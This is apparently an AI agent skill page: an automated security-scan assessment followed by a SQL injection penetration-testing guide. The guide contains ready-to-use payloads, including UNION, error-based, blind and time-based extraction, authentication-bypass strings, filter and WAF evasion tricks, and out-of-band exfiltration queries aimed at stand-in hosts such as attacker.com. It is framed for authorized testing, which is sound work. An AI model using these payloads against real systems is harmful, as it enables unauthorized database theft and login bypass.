SQL Injection Testing

Perform authorized security tests to detect, exploit, and validate defenses against SQL injection vulnerabilities in web applications.

Security Scan

The skill is an instruction-only SQL injection testing guide whose requirements and content match its stated purpose; it contains offensive payloads (including OOB exfil examples) which are expected for this purpose and do not request extra privileges or credentials.

Purpose & Capability

The name/description (SQL Injection Testing) match the SKILL.md content: detection, exploitation, and defense validation techniques. The skill declares no binaries, env vars, or install steps — consistent with an instruction-only reference. The offensive payloads and tool mentions are appropriate for a penetration-testing guide.

Instruction Scope

The instructions include full exploit payloads (boolean, time-based, UNION/error-based), authentication-bypass examples, and Out-of-Band (OOB) exfiltration payloads that reference contacting external hosts (e.g., attacker-server.com). While coherent with security testing, these instructions can directly enable data exfiltration and unauthorized access if misused. The doc does not instruct the agent to read local files or environment variables, and it includes an explicit legal/authorization warning, but the presence of OOB examples and explicit exfil payloads elevates operational risk.

Install Mechanism

No install spec and no code files — instruction-only. This minimizes on-disk code execution risk; nothing is downloaded or installed by the skill itself.

Credentials

The skill requests no environment variables, credentials, or config paths. Required access is minimal and proportionate to an instruction-only testing guide.

Persistence & Privilege

always is false and the skill is user-invocable. Model invocation is allowed (platform default). The skill does not request persistent system-wide changes or other skills' credentials. Note: allowing autonomous invocation for a capability that includes active exploit steps increases potential blast radius, but autonomous invocation by itself is normal and not flagged here.

Assessment

This is a coherent and complete SQL injection testing guide — useful for authorized pentesting. Before using it: (1) ensure you have written authorization for the target and avoid production systems with real user data; (2) run tests only in isolated staging/test environments to prevent accidental data leakage or downtime; (3) restrict agent/network egress during testing (OOB payloads reference external hosts and could exfiltrate data if executed against a live system); (4) monitor and log all test activity and remove the skill or revoke any granted access when finished; (5) if you need automation, prefer vetted tooling (sqlmap, Burp) or explicitly controlled scripts rather than free-form instructions executed autonomously by an agent. If you want a lower-risk mode, ask for a version limited to detection guidance without exploitation or OOB examples.

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

Description

USE WHEN:

• Testing for SQL injection vulnerabilities
• Performing authorized penetration tests
• Validating input sanitization mechanisms
• Bypassing authentication for security testing
• Extracting database information (authorized)
• Learning SQL injection defense

DON'T USE WHEN:

• No written authorization for testing
• Testing production systems with real user data
• Intent is malicious (don't be evil)

⚠️ LEGAL REQUIREMENT: Written penetration testing authorization required before use.

---

Detection Phase

Injection Point Identification

Common injectable parameters:

URL params:    ?id=1, ?user=admin, ?category=books
Form fields:   username, password, search, comments
Cookies:       session_id, user_preference
HTTP headers:  User-Agent, Referer, X-Forwarded-For

Basic Vulnerability Tests

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

Watch for:

• Database error messages
• HTTP 500 errors
• Modified response content/length
• Unexpected behavior changes

Boolean Logic Tests

-- True condition (should return data)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition (should return nothing/error)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true/false to confirm injection.

---

Exploitation Techniques

UNION-Based Extraction

-- Step 1: Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Step 2: Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Step 3: Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB)

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

---

Authentication Bypass

-- Classic bypass payloads
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Query transformation example
-- Original: SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed!

---

Filter Bypass Techniques

Character Encoding

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Hex strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

Whitespace Alternatives

-- Comment substitution
SELECT/**/username/**/FROM/**/users

-- Tab character
SELECT%09username%09FROM%09users

-- Newline
SELECT%0Ausername%0AFROM%0Ausers

Keyword Evasion

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

---

Database Fingerprinting

Database	Version Query
MySQL	SELECT @@version or SELECT version()
MSSQL	SELECT @@version
PostgreSQL	SELECT version()
Oracle	SELECT banner FROM v$version
SQLite	SELECT sqlite_version()

---

Information Schema Queries

-- MySQL/MSSQL: List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

---

Quick Reference

Purpose	Payload
Basic test	' or "
Boolean true	OR 1=1--
Boolean false	AND 1=2--
Comment (MySQL)	# or --
Comment (MSSQL)	--
UNION probe	UNION SELECT NULL--
Time delay	AND SLEEP(5)--
Auth bypass	' OR '1'='1

---

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

---

Prevention (What to Look For in Code Review)

❌ Vulnerable

const query = `SELECT * FROM users WHERE id = '${userId}'`;

✅ Safe

// Parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// OR use ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

---

Tools

• SQLMap: Automated SQL injection
• Burp Suite: Request manipulation
• OWASP ZAP: Web app scanner
• Havij: SQL injection tool

---

Troubleshooting

Problem	Solution
No error messages	Use blind injection (boolean/time-based)
UNION fails	Check column count with ORDER BY
WAF blocking	Use encoding/evasion techniques
Payload not executing	Verify correct comment syntax for DB type
Time-based inconsistent	Use longer delays (10+ seconds)

---

Ethical Guidelines

• Never execute destructive queries (DROP, DELETE) without explicit authorization
• Limit data extraction to proof-of-concept quantities
• Stop immediately upon detecting production data
• Report critical vulnerabilities through agreed channels
• Document all activities for audit trail